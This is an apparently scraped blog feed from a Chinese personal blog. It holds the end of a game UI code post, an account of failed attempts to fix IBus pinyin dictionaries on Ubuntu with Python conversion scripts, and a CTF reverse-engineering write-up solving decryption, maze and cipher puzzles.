        GLOBALS()[CommonUI.SCREEN_DEF].Clone(&amp;quot;/templates/death_item&amp;quot;, &amp;quot;/death_messages&amp;quot;, LOCALS()[&amp;quot;args&amp;quot;][0]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl(&amp;quot;/death_messages/&amp;quot; + LOCALS()[&amp;quot;args&amp;quot;][0] + &amp;quot;/anchor/content&amp;quot;).asLabel().SetText(LOCALS()[&amp;quot;args&amp;quot;][1]),
        GLOBALS()[CommonUI.SCREEN_DEF].GetBaseUIControl(&amp;quot;/death_messages/&amp;quot; + LOCALS()[&amp;quot;args&amp;quot;][0] + &amp;quot;/anchor/outline&amp;quot;).SetVisible(LOCALS()[&amp;quot;args&amp;quot;][2]),
        GLOBALS()[CommonUI.SCREEN_DEF].GameComponent.AddTimer(LOCALS()[&amp;quot;args&amp;quot;][3], GLOBALS()[CommonUI.SCREEN_DEF].RemoveComponent,&amp;quot;/death_messages/&amp;quot; + LOCALS()[&amp;quot;args&amp;quot;][0], &amp;quot;/death_messages&amp;quot;)
    )))
)), target)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的客户端等价运行如下代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;clientApi.SetHudChatStackVisible(False)
clientApi.RegisterUIAnimations(CommonUI.DEFINITION, True)
clientApi.RegisterUI(CommonUI.NAMESPACE, CommonUI.KEY, GLOBALS()[&amp;quot;custom_ui_class_path&amp;quot;], CommonUI.SCREEN_DEF)
CommonUI.SCREEN_DEF = clientApi.CreateUI(CommonUI.NAMESPACE, CommonUI.KEY, {&amp;quot;isHud&amp;quot;: 1})
CommonUI.SCREEN_DEF.GameComponent = clientApi.GetEngineCompFactory().CreateGame(LevelId)

def AddChatMessage(id_, text, ttl):
    path = &amp;quot;/chat_messages/&amp;quot; + str(id_)
    CommonUI.SCREEN_DEF.Clone(&amp;quot;/templates/chat_item&amp;quot;, &amp;quot;/chat_messages&amp;quot;, id_)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + &amp;quot;/anchor/content&amp;quot;).asLabel().SetText(text)
    CommonUI.SCREEN_DEF.GameComponent.AddTimer(ttl, CommonUI.SCREEN_DEF.RemoveComponent, path, &amp;quot;/chat_messages&amp;quot;)

def AddDeathMessage(id_, text, outlined, ttl):
    path = &amp;quot;/death_messages/&amp;quot; + str(id_)
    CommonUI.SCREEN_DEF.Clone(&amp;quot;/templates/death_item&amp;quot;, &amp;quot;/death_messages&amp;quot;, id_)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + &amp;quot;/anchor/content&amp;quot;).asLabel().SetText(text)
    CommonUI.SCREEN_DEF.GetBaseUIControl(path + &amp;quot;/anchor/outline&amp;quot;).SetVisible(outlined)
    CommonUI.SCREEN_DEF.GameComponent.AddTimer(ttl, CommonUI.SCREEN_DEF.RemoveComponent, path, &amp;quot;/death_messages&amp;quot;)

CommonUI.SCREEN_DEF.AddChatMessage = AddChatMessage
CommonUI.SCREEN_DEF.AddDeathMessage = AddDeathMessage
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate></item><item><title>Ubuntu 使用 IBus 拼音输入法弃坑记录</title><link>https://langqi99.com/blog/linux-pinyin/</link><guid isPermaLink="true">https://langqi99.com/blog/linux-pinyin/</guid><description>原标题是教程，写着写着变成弃坑记录了。众所周知，Ubuntu 对拼音输入法的支持非常不友好...</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/linux-pinyin/&quot;&gt;https://langqi99.com/blog/linux-pinyin/&lt;/a&gt;&lt;/blockquote&gt; &lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;众所周知，Ubuntu 对拼音输入法的支持非常不友好，找到一个合适的输入法一直都是一个难题。&lt;/p&gt;
&lt;p&gt;在 Ubuntu 24.04 中，默认的拼音输入法是 &lt;code&gt;IBus&lt;/code&gt;，但是这个输入法非常远古：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753535240896.png&quot; alt=&quot;1753535240896&quot;&gt;&lt;/p&gt;
&lt;p&gt;比如你要输入 &lt;code&gt;为什么&lt;/code&gt;，通常来说，你只需要输入 &lt;code&gt;wsm&lt;/code&gt;，然后选择 &lt;code&gt;为什么&lt;/code&gt;，但是在 &lt;code&gt;IBus&lt;/code&gt;中，是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753535326134.png&quot; alt=&quot;1753535326134&quot;&gt;&lt;/p&gt;
&lt;h1&gt;解决方案&lt;/h1&gt;
&lt;p&gt;上述问题最主要的原因是&lt;strong&gt;词库的缺失&lt;/strong&gt;，IBus 的词库非常少，并且非常远古。&lt;/p&gt;
&lt;h2&gt;预设词库&lt;/h2&gt;
&lt;p&gt;首先可以勾选这几项：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753536280545.png&quot; alt=&quot;1753536280545&quot;&gt;&lt;/p&gt;
&lt;p&gt;能基本保证正常需求。&lt;/p&gt;
&lt;h2&gt;导入词库&lt;/h2&gt;
&lt;p&gt;当然，我们也可以考虑从其他输入法/操作系统导入用户数据。&lt;/p&gt;
&lt;p&gt;但是很多输入法，例如 &lt;code&gt;搜狗输入法&lt;/code&gt; 用户数据是非明文的。&lt;/p&gt;
&lt;p&gt;这里介绍一个强大的工具：&lt;a href=&quot;https://github.com/studyzy/imewlconverter&quot;&gt;深蓝词库转换&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;搜狗输入法&lt;/code&gt; 为例:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753536516125.png&quot; alt=&quot;1753536516125&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;./ImeWlConverterCmd -i:sgpybin 搜狗词库备份.bin -o:mspy output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-output.txt&quot;&gt;&amp;#39;yi&amp;#39;jian&amp;#39;bao&amp;#39;kuo 意见包括
&amp;#39;yi&amp;#39;jian&amp;#39;bu&amp;#39;yi 意见不一
&amp;#39;yi&amp;#39;jian&amp;#39;duan 一键端
&amp;#39;yi&amp;#39;jian&amp;#39;sha&amp;#39;gua 一键傻瓜
&amp;#39;yi&amp;#39;jian&amp;#39;shi 一件事
&amp;#39;yi&amp;#39;jie 一节
&amp;#39;yi&amp;#39;jie&amp;#39;ke 一节课
&amp;#39;yi&amp;#39;jin&amp;#39;lai 一进来
&amp;#39;yi&amp;#39;jin&amp;#39;lai 一进来
&amp;#39;yi&amp;#39;jing 已经
&amp;#39;yi&amp;#39;jing 已经
&amp;#39;yi&amp;#39;jing 已经
&amp;#39;yi&amp;#39;jing 意境
&amp;#39;yi&amp;#39;jing&amp;#39;shi 已经是
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而Ibus的格式是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Ibus&quot;&gt;个人 ge&amp;#39;ren 5
继续 ji&amp;#39;x 10
继续 ji&amp;#39;xu 55
出问题 chu&amp;#39;wen&amp;#39;t 10
出问题 chu&amp;#39;wen&amp;#39;ti 10
了 l 555
了 le 90
重新 chong&amp;#39;x 25
重新 chong&amp;#39;xin 15
生存 sheng&amp;#39;c 40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;似乎 &lt;code&gt;Ibus&lt;/code&gt; 记录每次输入，一次是5。&lt;/p&gt;
&lt;p&gt;我们这边运行下面的脚本转换一下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def convert_to_ibus(input_text, default_frequency=40):
    lines = input_text.strip().split(&amp;#39;\n&amp;#39;)
    ibus_lines = []
    for line in lines:
        line = line.strip()
        if not line:
            continue
        parts = line.split(&amp;#39; &amp;#39;, 1)
        if len(parts) != 2:
            continue
        pinyin, chinese = parts
        if pinyin.startswith(&amp;quot;&amp;#39;&amp;quot;):
            pinyin = pinyin[1:]
        ibus_line = f&amp;quot;{chinese} {pinyin} {default_frequency}&amp;quot;
        ibus_lines.append(ibus_line)
    return &amp;#39;\n&amp;#39;.join(ibus_lines)

with open(&amp;#39;./tmp/output.txt&amp;#39;, &amp;#39;r&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
    input_text = f.read()
result = convert_to_ibus(input_text)
with open(&amp;#39;./tmp/convert.txt&amp;#39;, &amp;#39;w&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
    f.write(result)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我本以为这样就好了，但事实上不是这样的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753537431564.png&quot; alt=&quot;1753537431564&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ibus有明显的拼写区分，我们对刚才的文件再次处理:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;博弈论 bo&amp;#39;yi&amp;#39;lun 50000
博弈论 b&amp;#39;y&amp;#39;l 50000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def process_line(line):
    parts = line.strip().split(&amp;#39; &amp;#39;)
    if len(parts) &amp;gt;= 3:
        chinese = parts[0]
        pinyin = parts[1]
        freq = parts[2]
        simple_pinyin = &amp;#39;&amp;#39;
        syllables = pinyin.split(&amp;quot;&amp;#39;&amp;quot;)
        for syllable in syllables:
            if syllable:
                simple_pinyin += syllable[0] + &amp;quot;&amp;#39;&amp;quot;
        if simple_pinyin.endswith(&amp;quot;&amp;#39;&amp;quot;):
            simple_pinyin = simple_pinyin[:-1]
        return [line.strip(), f&amp;quot;{chinese} {simple_pinyin} {freq}&amp;quot;]
    return [line.strip()]

with open(&amp;#39;./tmp/convert.txt&amp;#39;, &amp;#39;r&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
    lines = f.readlines()

result_lines = []
for line in lines:
    if line.strip():
        processed = process_line(line)
        result_lines.extend(processed)

with open(&amp;#39;./tmp/convert.txt&amp;#39;, &amp;#39;w&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
    f.write(&amp;#39;\n&amp;#39;.join(result_lines))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是不行，&lt;code&gt;wsm&lt;/code&gt; 始终没有出现 &lt;code&gt;为什么&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;换导入 &lt;code&gt;码表&lt;/code&gt; 试试。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753541036221.png&quot; alt=&quot;1753541036221&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/linux-pinyin/1753541458771.png&quot; alt=&quot;1753541458771&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个过程中不断重启，一直都没能成功。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ibus-daemon -drx
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;非IBus解决方案&lt;/h1&gt;
&lt;p&gt;当然我们也可以考虑选择其他输入法解决这个问题。&lt;/p&gt;
&lt;h2&gt;搜狗输入法&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;搜狗输入法&lt;/code&gt; 基本可以支持你从 Windows 迁移过来的输入习惯，有拼音纠错，并且可以导入词库。&lt;/p&gt;
&lt;p&gt;但是，它的兼容性非常不好，例如在 &lt;code&gt;Edge&lt;/code&gt; 中，它可能无法正常使用，尽管网上某些方法能解决问题，但偶尔还会再次复发。&lt;/p&gt;
&lt;h2&gt;其他输入法&lt;/h2&gt;
&lt;p&gt;例如 &lt;code&gt;fcitx&lt;/code&gt; 也是一个解决方案，不过IBus用起来更像是系统原生的，这就是笔者比较纠结的点。&lt;/p&gt;
&lt;h2&gt;deepin操作系统&lt;/h2&gt;
&lt;p&gt;国产 &lt;code&gt;deepin&lt;/code&gt; 操作系统对 &lt;code&gt;搜狗输入法&lt;/code&gt; 的支持非常好，是定制版本。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Sat, 26 Jul 2025 00:00:00 GMT</pubDate></item><item><title>2025科技文化节个人WriteUp</title><link>https://langqi99.com/blog/dlut2025_5_1/</link><guid isPermaLink="true">https://langqi99.com/blog/dlut2025_5_1/</guid><description>第一次打比赛 好玩</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/dlut2025_5_1/&quot;&gt;https://langqi99.com/blog/dlut2025_5_1/&lt;/a&gt;&lt;/blockquote&gt; &lt;h1&gt;Reverse&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;Reverse&lt;/code&gt; 部分有些题目赛时的做法比较粗暴 赛后复盘在出题人放出源码后在blog继续更新&lt;/p&gt;
&lt;h2&gt;signin&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;*(_DWORD *)&amp;amp;s[strlen(s)] = 5526852;
strcpy(&amp;amp;s[strlen(s)], &amp;quot;CTF{&amp;quot;);
*(_DWORD *)&amp;amp;s[strlen(s)] = 7746418;
strcpy(&amp;amp;s[strlen(s)], &amp;quot;3R53_&amp;quot;);
*(_DWORD *)&amp;amp;s[strlen(s)] = 6235185;
strcpy(&amp;amp;s[strlen(s)], &amp;quot;\\/&amp;quot;);
strcpy(&amp;amp;s[strlen(s)], &amp;quot;3ry_&amp;quot;);
strcpy(&amp;amp;s[strlen(s)], &amp;quot;f(_)&amp;quot;);
strcpy(&amp;amp;s[strlen(s)], &amp;quot;n&amp;amp;ea&amp;quot;);
*(_DWORD *)&amp;amp;s[strlen(s)] = 2193717;
*(_WORD *)&amp;amp;s[strlen(s)] = 125;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;DUTCTF{r3v3R53_1$_\/3ry_f(_)n&amp;amp;ea5y!}&lt;/code&gt;断个点就行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746087685976.png&quot; alt=&quot;1746087685976&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;WSL2&lt;/code&gt;来调试&lt;/p&gt;
&lt;p&gt;运行安装目录的 &lt;code&gt;IDA\dbgsrv\linux_server64&lt;/code&gt; 然后选 &lt;code&gt;Remote Linux debugger&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;weather?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;赛时&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746088082163.png&quot; alt=&quot;1746088082163&quot;&gt;&lt;/p&gt;
&lt;p&gt;读入之后打个断点走两步就拿到了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;赛后&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;希望我下次一眼就能看出来这是&lt;code&gt;base64&lt;/code&gt;然后&lt;code&gt;-3&lt;/code&gt;再&lt;code&gt;^12&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746620571013.png&quot; alt=&quot;1746620571013&quot;&gt;&lt;/p&gt;
&lt;h2&gt;tulip&lt;/h2&gt;
&lt;p&gt;看题目描述就知道是花指令了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;赛时&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;找到了花指令 &lt;code&gt;jnz jz&lt;/code&gt; &lt;code&gt;Call $+5&lt;/code&gt; 但只处理了一半 想着花指令能骗过IDA骗不过AI 然后拿到了伪代码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TEA&lt;/code&gt;直接解就行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
void decrypt_chunk_modified_xtea(uint32_t v[2], const uint32_t k[4])
{
    uint32_t v0 = v[0], v1 = v[1];
    const uint32_t delta = 0x114514; // The custom delta found
    uint32_t sum = delta * 32;       // Start sum for 32 rounds of decryption

    for (int i = 0; i &amp;lt; 32; ++i)
    { // 32 rounds
        // Undo the update to v1 first
        v1 -= (((v0 &amp;lt;&amp;lt; 4) + k[2]) ^ (v0 + sum) ^ ((v0 &amp;gt;&amp;gt; 5) + k[3]));

        // Undo the update to v0 second
        v0 -= (((v1 &amp;lt;&amp;lt; 4) + k[0]) ^ (v1 + sum) ^ ((v1 &amp;gt;&amp;gt; 5) + k[1]));

        sum -= delta; // Decrement sum for decryption
    }
    v[0] = v0;
    v[1] = v1;
}

int main()
{
    // The Key (data1 from sub_5C4F90)
    uint32_t key[4] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11};

    // The Encrypted Data we want to decrypt (key_data from sub_5C4F90 - first 48 bytes)
    uint32_t encrypted_data[12] = {
        0x329E0EAF, 0x6A398361, // Chunk 0
        0x320B21FA, 0x2200B7F1, // Chunk 1
        0x2E086774, 0x74EAEF36, // Chunk 2
        0xE8EF0A23, 0xAFD4AC64, // Chunk 3
        0x92F93A03, 0xB37A9BFF, // Chunk 4
        0x3CED126C, 0xF5E00531  // Chunk 5
    };

    // Buffer to hold the decrypted flag (48 bytes / 6 chunks)
    uint32_t decrypted_flag[12];

    // Decrypt each 8-byte (2 * uint32_t) chunk
    for (int i = 0; i &amp;lt; 6; ++i)
    {
        uint32_t chunk[2];
        chunk[0] = encrypted_data[i * 2];
        chunk[1] = encrypted_data[i * 2 + 1];

        decrypt_chunk_modified_xtea(chunk, key);

        decrypted_flag[i * 2] = chunk[0];
        decrypted_flag[i * 2 + 1] = chunk[1];
    }

    // Print the decrypted flag as characters
    char *flag_bytes = (char *)decrypted_flag;
    std::cout &amp;lt;&amp;lt; &amp;quot;Potential Flag (first 48 bytes): &amp;quot;;
    for (int i = 0; i &amp;lt; 48; ++i)
    {
        // Only print printable ASCII characters, represent others as &amp;#39;.&amp;#39;
        if (flag_bytes[i] &amp;gt;= 32 &amp;amp;&amp;amp; flag_bytes[i] &amp;lt;= 126)
        {
            std::cout &amp;lt;&amp;lt; flag_bytes[i];
        }
        else
        {
            std::cout &amp;lt;&amp;lt; &amp;#39;.&amp;#39;; // Use &amp;#39;.&amp;#39; for non-printable bytes
        }
    }
    std::cout &amp;lt;&amp;lt; std::endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赛后&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746619018166.png&quot; alt=&quot;1746619018166&quot;&gt;&lt;/p&gt;
&lt;p&gt;这一处花指令 跳到 &lt;code&gt;mov&lt;/code&gt;中间了 得先按&lt;code&gt;&amp;lt;kbd&amp;gt;&lt;/code&gt;D&lt;code&gt;&amp;lt;/kbd&amp;gt;&lt;/code&gt;把代码转数据再 &lt;code&gt;nop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746619092863.png&quot; alt=&quot;1746619092863&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里 &lt;code&gt;call&lt;/code&gt;了下面 下面的指令是把 &lt;code&gt;esp&lt;/code&gt;的值+6 也就是运行到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746619146342.png&quot; alt=&quot;1746619146342&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以之间的都 &lt;code&gt;nop&lt;/code&gt;掉&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746619194828.png&quot; alt=&quot;1746619194828&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时候还不行 得回到函数头按下&lt;code&gt;&amp;lt;kbd&amp;gt;&lt;/code&gt;P&lt;code&gt;&amp;lt;/kbd&amp;gt;&lt;/code&gt;重新分析&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746619218949.png&quot; alt=&quot;1746619218949&quot;&gt;&lt;/p&gt;
&lt;h2&gt;MAZE&lt;/h2&gt;
&lt;p&gt;经典迷宫DP&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;赛时&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746088839840.png&quot; alt=&quot;1746088839840&quot;&gt;&lt;/p&gt;
&lt;p&gt;实在找不对种子，直接把地图搞下来了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import sys

# 设置一个表示负无穷的值，用于不可达状态和比较
NEG_INF = -1e18  # 使用一个足够小的数


def solve():
    # --- 读取地图数据 ---
    try:
        with open(&amp;quot;output/map.txt&amp;quot;, &amp;quot;r&amp;quot;) as f:
            # 读取地图大小 (如果 C++ 代码写入了的话)
            # MAZE_HEIGHT, MAZE_WIDTH = map(int, f.readline().split()) # 可选
            map_lines = f.readlines()
    except FileNotFoundError:
        print(&amp;quot;Error: map.txt not found. Please run the C++ map generator first.&amp;quot;)
        sys.exit(1)

    # --- 解析地图数据 ---
    # 我们假设地图 Y 范围是 1 到 50， X 范围是 1 到 60
    MAZE_HEIGHT = 50
    MAZE_WIDTH = 60
    maze_data = [[0] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
    for y_idx, line in enumerate(map_lines):
        y = y_idx + 1  # 行号对应 y 坐标 (1 到 50)
        if y &amp;gt; MAZE_HEIGHT:
            break
        values = list(map(int, line.split()))
        for x_idx, val in enumerate(values):
            x = x_idx + 1  # 列号对应 x 坐标 (1 到 60)
            if x &amp;gt; MAZE_WIDTH:
                break
            maze_data[y][x] = val

    # --- 动态规划 ---
    # dp[y][x]: 到达 (x, y) 的最大分数
    # prev_move[y][x]: 到达 (x, y) 的最优路径的上一步 (&amp;#39;A&amp;#39;, &amp;#39;B&amp;#39;, &amp;#39;C&amp;#39;)
    # 维度：y 从 0 到 50, x 从 0 到 60 (使用 0 作为边界/哨兵)
    dp = [[NEG_INF] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]
    prev_move = [[&amp;#39;&amp;#39;] * (MAZE_WIDTH + 1) for _ in range(MAZE_HEIGHT + 1)]

    # 初始状态
    initial_score = 0  # 我们确定的初始分数
    dp[1][1] = initial_score

    # 迭代计算 DP
    # y 代表当前步数所在的行 (从 2 到 50)
    for y in range(2, MAZE_HEIGHT + 1):
        # x 代表当前步数到达的列
        for x in range(1, MAZE_WIDTH + 1):  # x 从 1 开始
            current_cell_value = maze_data[y][x]
            best_prev_score = NEG_INF
            move = &amp;#39;&amp;#39;

            # 检查从上方 &amp;#39;C&amp;#39; (x, y-1) 转移
            if x &amp;gt;= 1 and dp[y-1][x] &amp;gt; NEG_INF:
                score = dp[y-1][x]
                if score &amp;gt; best_prev_score:
                    best_prev_score = score
                    move = &amp;#39;C&amp;#39;

            # 检查从左上方 &amp;#39;B&amp;#39; (x-1, y-1) 转移
            if x - 1 &amp;gt;= 1 and dp[y-1][x-1] &amp;gt; NEG_INF:
                score = dp[y-1][x-1]
                if score &amp;gt; best_prev_score:
                    best_prev_score = score
                    move = &amp;#39;B&amp;#39;

            # 检查从右上方 &amp;#39;A&amp;#39; (x+1, y-1) 转移
            if x + 1 &amp;lt;= MAZE_WIDTH and dp[y-1][x+1] &amp;gt; NEG_INF:
                score = dp[y-1][x+1]
                if score &amp;gt; best_prev_score:
                    best_prev_score = score
                    move = &amp;#39;A&amp;#39;

            # 如果存在有效的上一步，更新 dp 表和 prev_move 表
            if move:  # 等价于 best_prev_score &amp;gt; NEG_INF
                dp[y][x] = best_prev_score + current_cell_value
                prev_move[y][x] = move

    # --- 找到最大分数和终点 ---
    final_y = MAZE_HEIGHT
    max_score = NEG_INF
    final_x = -1

    for x in range(1, MAZE_WIDTH + 1):
        if dp[final_y][x] &amp;gt; max_score:
            max_score = dp[final_y][x]
            final_x = x

    if final_x == -1:
        print(&amp;quot;Error: Could not find a valid path to the end.&amp;quot;)
        sys.exit(1)

    print(f&amp;quot;Maximum score found: {max_score}&amp;quot;)
    print(f&amp;quot;Ending position: (x={final_x}, y={final_y})&amp;quot;)

    # --- 回溯路径 ---
    path = []
    curr_x = final_x
    curr_y = final_y

    # 总共 49 步，对应 y 从 50 回溯到 2
    for y in range(curr_y, 1, -1):
        move = prev_move[y][curr_x]
        path.append(move)
        # 根据 move 更新上一步的 x 坐标
        if move == &amp;#39;A&amp;#39;:
            curr_x += 1
        elif move == &amp;#39;B&amp;#39;:
            curr_x -= 1
        # elif move == &amp;#39;C&amp;#39;: # x 不变
        #     pass

    # 路径是反的，需要逆序
    path.reverse()
    final_path = &amp;quot;&amp;quot;.join(path)

    # --- 输出结果 ---
    print(f&amp;quot;Path length: {len(final_path)}&amp;quot;)
    print(f&amp;quot;Path: {final_path}&amp;quot;)
    print(f&amp;quot;Flag format: DUTCTF{{{final_path}}}&amp;quot;)  # 假设 Flag 格式


if __name__ == &amp;quot;__main__&amp;quot;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赛后&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;种子硬编码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746618671621.png&quot; alt=&quot;1746618671621&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746618569458.png&quot; alt=&quot;1746618569458&quot;&gt;&lt;/p&gt;
&lt;p&gt;那为什么伪代码显示调用的是 &lt;code&gt;a1&lt;/code&gt;呢&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a1&lt;/code&gt;吃人事件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746618541779.png&quot; alt=&quot;1746618541779&quot;&gt;&lt;/p&gt;
&lt;p&gt;汇编语言传参方式导致IDA分析错误&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746618608010.png&quot; alt=&quot;1746618608010&quot;&gt;&lt;/p&gt;
&lt;h2&gt;WoAiShiinaMahiru&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;wasm2c&lt;/code&gt; 反编译&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;static const u8 data_segment_data_w2c_input_d0[] = {
  0x52, 0x46, 0x56, 0x55, 0x51, 0x31, 0x52, 0x47, 0x65, 0x7a, 0x59, 0x34, 
  0x4d, 0x47, 0x52, 0x6a, 0x4e, 0x54, 0x55, 0x78, 0x4c, 0x54, 0x49, 0x31, 
  0x4f, 0x44, 0x51, 0x74, 0x4f, 0x44, 0x41, 0x77, 0x5a, 0x53, 0x31, 0x69, 
  0x4f, 0x47, 0x4a, 0x6d, 0x4c, 0x57, 0x51, 0x7a, 0x59, 0x7a, 0x4d, 0x35, 
  0x4d, 0x7a, 0x52, 0x6b, 0x4f, 0x54, 0x64, 0x6c, 0x4f, 0x48, 0x30, 0x3d, 
  0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 
  0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 
  0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 
  0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 
  0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x30, 0x31, 0x32, 0x33, 
  0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2b, 0x2f, 0x00, 0x2d, 0x2b, 0x20, 
  0x20, 0x20, 0x30, 0x58, 0x30, 0x78, 0x00, 0x28, 0x6e, 0x75, 0x6c, 0x6c, 
  0x29, 0x00, 0x49, 0x6e, 0x70, 0x75, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67, 
  0x3a, 0x20, 0x00, 0x4e, 0x6f, 0x74, 0x20, 0x67, 0x6f, 0x6f, 0x64, 0x2e, 
  0x20, 0x00, 0x4e, 0x69, 0x63, 0x65, 0x21, 0x20, 0x00, 0x0a, 0x00, 0x00, 
  0xa0, 0x06, 
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746089551838.png&quot; alt=&quot;1746089551838&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;Signin&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746071455735.png&quot; alt=&quot;1746071455735&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;D{m2uD!UFW0E_oDT_u5}TT3c_O2_CfTrC1TsTE&lt;/code&gt;一眼乱序，栅栏密码解密后得到 &lt;code&gt;DUTCTF{W31c0mE_TO_2o2s_DuTCTf_DuTEr5!}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;特定低手&lt;/h2&gt;
